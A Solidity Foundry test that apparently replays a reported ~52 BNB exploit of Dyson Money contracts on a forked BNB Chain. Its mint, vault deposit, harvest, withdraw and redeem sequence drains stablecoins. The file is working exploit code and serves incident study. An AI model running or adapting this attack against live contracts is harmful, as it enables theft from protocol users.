src/test/2024-06/Dyson_money_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~52 BNB
8// TX : https://app.blocksec.com/explorer/tx/bsc/0xbac614f4d103939a9611ca35f4ec9451e1e98512d573c822fbff70fafdbbb5a0
9// Attacker : https://bscscan.com/address/0x4ced363484dfebd0fab1b33c3eca0edca44a346c
10// Attack Contract : https://bscscan.com/address/0x00db72390c1843de815ef635ee58ac19b54af4ef
11 
12 
13interface Vulncontract is IERC20 {
14    struct MintParams {
15        address asset; // USDC | BUSD depends at chain
16        uint256 amount; // amount asset
17        string referral; // code from Referral Program -> if not have -> set empty
18    }
19 
20    function mint(
21        MintParams calldata params
22    ) external returns (uint256);
23    function harvest() external;
24    function redeem(address _asset, uint256 _amount) external returns (uint256);
25}
26 
27interface StableV1AMM is IERC20 {
28    function mint(
29        address to
30    ) external returns (uint256 liquidity);
31    function burn(
32        address to
33    ) external returns (uint256 amount0, uint256 amount1);
34}
35 
36interface DysonVault is IERC20 {
37    function depositAll() external;
38    function withdrawAll() external;
39}
40 
41contract ContractTest is Test {
42    //b708
43    Vulncontract b708 = Vulncontract(0xd3F827C0b1D224aeBCD69c449602bBCb427Cb708);
44    //b821
45    Vulncontract b821 = Vulncontract(0x5A8EEe279096052588DfCc4e8b466180490DB821);
46    //b296
47    Vulncontract b29b = Vulncontract(0x2b9BDa587ee04fe51C5431709afbafB295F94bB4);
48    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
49    Uni_Pair_V2 Pair = Uni_Pair_V2(0x40eD17221b3B2D8455F4F1a05CAc6b77c5f707e3);
50    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
51    WBNB constant WBNB_TOKEN = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
52    IERC20 Usdt = IERC20(0x5335E87930b410b8C5BB4D43c3360ACa15ec0C8C);
53    IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
54    IERC20 USDPLUS = IERC20(0xe80772Eaf6e2E18B651F160Bc9158b2A5caFCA65);
55    StableV1AMM StableV1 = StableV1AMM(0x1561D9618dB2Dcfe954f5D51f4381fa99C8E5689);
56    DysonVault dysonVault = DysonVault(0x2836B64a39d5B73d8f534c9fd6c6ABD81df2beB7);
57    address referrals = 0xACC3b446A16c809235860ab6d4ec95b5F018aA0b;
58    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
59 
60    function setUp() public {
61        cheats.createSelectFork("bsc", 39_684_702);
62        deal(address(USDT), address(this), 910 ether);
63        deal(address(USDC), address(this), 910 ether);
64    }
65 
66    function testExploit() public {
67        USDT.approve(address(Router), type(uint256).max);
68        attack();
69        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
70        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 18);
71    }
72 
73    function attack() public {
74        approveAll();
75        // WBNB_TOKEN.deposit{value: 1.5 ether}();
76        Vulncontract.MintParams memory param =
77            Vulncontract.MintParams({asset: address(USDC), amount: 901 ether, referral: string("test")});
78        b821.mint(param);
79        Vulncontract.MintParams memory params =
80            Vulncontract.MintParams({asset: address(USDT), amount: 901 ether, referral: string("test")});
81        b708.mint(params);
82 
83        Usdt.transfer(address(StableV1), 748 ether);
84        USDPLUS.transfer(address(StableV1), 900_639_600);
85 
86        StableV1.mint(address(this));
87        dysonVault.depositAll();
88 
89        b29b.harvest();
90 
91        dysonVault.withdrawAll();
92 
93        uint256 amounts = StableV1.balanceOf(address(this));
94        StableV1.transfer(address(StableV1), amounts);
95        StableV1.burn(address(this));
96        b708.redeem(address(USDT), 15_000 ether);
97        b821.redeem(address(USDC), 18_000 * 1e6);
98    }
99 
100    function approveAll() internal {
101        USDT.approve(address(b708), type(uint256).max);
102        Usdt.approve(address(b708), type(uint256).max);
103        USDC.approve(address(b821), type(uint256).max);
104        USDPLUS.approve(address(b821), type(uint256).max);
105        StableV1.approve(address(dysonVault), type(uint256).max);
106    }
107}